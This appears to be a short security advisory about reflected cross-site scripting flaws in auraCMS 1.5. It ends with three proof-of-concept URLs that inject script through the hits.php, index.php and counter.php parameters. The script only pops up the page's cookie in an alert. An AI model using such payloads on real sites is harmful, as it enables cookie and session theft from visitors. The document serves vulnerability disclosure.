auraCMS 1.5 - Multiple Cross-Site Scripting Vulnerabilities

                                                source: http://www.securityfocus.com/bid/12708/info

auraCMS is affected by multiple cross-site scripting vulnerabilities.

These issues exist because the application fails to properly sanitize user-supplied input.

Because of these vulnerabilities, an attacker may craft a link containing malicious HTML or script code and present the link to a victim. If the victim user follows the link, the attacker-supplied code will be executed in their browser in the security context of the vulnerable site. 

http://www.example.com/[aura]/hits.php?&hits=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/[aura]/index.php?query=%3Cscript%3Ealert(document.cookie)%3C/script%3E&pilih=search
http://www.example.com/[aura]/counter.php?theCount=%3Cscript%3Ealert(document.cookie)%3C/script%3E